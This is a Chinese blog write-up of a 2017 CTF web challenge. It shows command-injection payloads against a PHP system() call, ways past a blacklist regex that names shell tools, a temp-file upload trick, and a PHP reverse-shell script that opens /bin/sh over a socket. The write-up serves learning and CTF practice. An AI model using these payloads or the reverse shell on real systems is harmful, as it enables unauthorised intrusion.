美文网首页
geekgame2017 web350 你的名字 做题记录

geekgame2017 web350 你的名字 做题记录

作者: rebirthwyw | 来源:发表于2017-10-30 23:19 被阅读0次

    geekgame2017 web350 你的名字 做题记录

    预期解法

    出题人原本是希望通过linux丰富的读取文件的指令加上?通配符的方式获得flag

    • 拿到题目,发现出一些特殊字符返回 蛤?。说明有waf,fuzz一下发现剩下的字符不多,%20以下的字符,还有就是[]^?._\
    • 尝试命令执行,可以猜想出题的结构应该是类似
    system("echo "."你的名字是:". $_GET['name']) ;
    

    通过%0a的符号,可以换行执行新的目录,通过%09可以代替空格

    image.png
    • 尝试列目录、读文件,发现ls、cat等常用命令都被ban了。也就是说,需要找一个没有被ban的读取文件的命令。另外,php的关键字也被ban了,读取index.php还需要想办法绕过。
    • 想到之前小密圈大佬们讨论过一次各种读取文件的命令,开始逐个尝试。
    cat、tac、nl、more、less、head、tail、od、strings、base64、vi、sort、pg、uniq
    

    尝试uniq成功,然后的问题是怎么绕过php的限制。
    回到开始fuzz可用字符的地方,看到了?。linux里?可用来通配一个字符,也就是说index.ph?可以匹配到index.php

    index.php
    • 读取到源码如下,其实源码和本题没什么关系
    <?php
    
      function valid_input($input) {
        if (preg_match('/^\w*$/m', $input)) {
           if ($input == 'jiangxx') {
              die("蛤蛤,我把flag藏起来了,你看的到在哪里么?");
           }
    
           if(preg_match('/php|bash|sh|perl|python|rm|cd|cp|mv|shred|wipe|ls|find|cat|tac|more|less|head|tail|nl|rev|ll|expr|cut|wget|curl|grep|sed|awk|vim|vi|base64|echo|where|hexdump|dir|read|tee|:|`|od|\ |;|\'|\"|@|!|\(|\-|\)|~|\*|&|@|\\||>|<|\||\$|{|}|\//', $input)) {
              return false;
           } else {
              return true;
           }
        } else {
           return false;
        }
      }
      
     if(isset($_GET['name'])) {
     if (valid_input($_GET['name'])) {
       system("echo "."你的名字是:". $_GET['name']) ;
     } else {
       echo "蛤?";
     }
     } else {
       echo "Em...我不知道你的名字";
     }
    
    • 然后因为当时没想到切目录的事情,所以在当前目录尝试找flag。既然 ? 能通配字符,是不是fuzz不同长度的 ? 就行了。结果竟然没找到flag。找了半天没找到,后来学弟说是隐藏文件,我还是觉得有点奇怪为什么 ? 没有匹配隐藏文件的 . ,可能那个不算是文件名的一部分吧。
      burp爆破


      burp
    result

    非预期

    非预期的解法是因为出题人的正则写的有问题,导致 \ 没有被ban掉。

    正则

    这里的

    |\\||
    

    |\||
    

    效果一样,因为php没有把 \| 当成是 |,然后在正则中起效。(补充一下,对于preg_match来说,他的pattern首先本身是个字符串,所以会存在转义的问题,也就是比如\\转义后变成了\,然后由php转义后的字符串,作为pattern来正则解析的时候,\|又成为了|,因为在正则里|是个特殊字符,过滤它需要转义。因为php是不会把\|转义的,因此,截图中,|\\|||\|传递给正则时都是|\|,也就是所谓的效果一样。而出题人本身可能是希望|\\|来过滤\吧。。。正确的写法应该是|\\\\|
    而在linux中,\ 分开的字符可以拼接,l\s 和 ls一样。
    这样一来本题读取flag就非常简单,用fin\d .来找到隐藏文件,用ca\t xxxxxx来读取flag

    非预期导致getshell

    做完听说出题人说这题能够getshell,我就开始尝试getshell的方式。
    首先,web目录用下rm命令就知道不可写,也就是说不能再web目录操作。
    找了好多反弹shell的命令,发现都或多或少的用到了被ban掉的字符。
    然后出题人给的思路是melody之前提过的文件包含导致getshell的方法。链接在这里

    http://www.melodia.pw/?p=728
    

    这思路我之前也想过,但是当时没有get到本质。
    这个利用点的本质就是打断php的这个进程,比如死循环,让它一直不结束,tmp目录的文件自然就一直存在了。

    • 首先是要能到达tmp目录,这个只要你一直往上cd就行
    %0ac\d%09..%0ac\d%09..%0ac\d%09..%0ac\d%09tmp%0al\s
    
    到达tmp
    • 然后你要能使得php的进程死循环,这个当时我是一下子想起来前一天做题时候,ps看到的tload命令,它就会让php的进程一直跑着,其他的类似ping也可以。
    • 构造一个upload页面
    <html>
    <body>
    
    <form action="http://game.sycsec.com:2012/?name=%0atload" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" /> 
    <br />
    <input type="submit" name="submit" value="Submit" />
    </form>
    
    </body>
    </html>
    
    • 最后还有一个关键点是,你上传上去的是什么,要干什么。
      因为不能通过webshell的方式getshell,所以我们需要的是反弹shell。也就是说,我们传一个反弹shell的脚本,然后执行它,比如sh脚本,python脚本等。
    • 我测试发现sh和python都没成功,python命令都没有,后来通过php的反弹shell的脚本成功。这里推荐phithon反弹shell的php脚本
    https://www.leavesongs.com/PHP/backshell-via-php.html
    <?php
    
    $sock = fsockopen($ip, $port);
    $descriptorspec = array(
            0 => $sock,
            1 => $sock,
            2 => $sock
    );
    $process = proc_open('/bin/sh', $descriptorspec, $pipes);
    proc_close($process);
    
    • 上传php文件,修改临时文件名,执行php即可getshell
    getshell

    总结

    linux博大精深Orz

    相关文章

      网友评论

          本文标题:geekgame2017 web350 你的名字 做题记录

          本文链接:https://www.haomeiwen.com/subject/slxvpxtx.html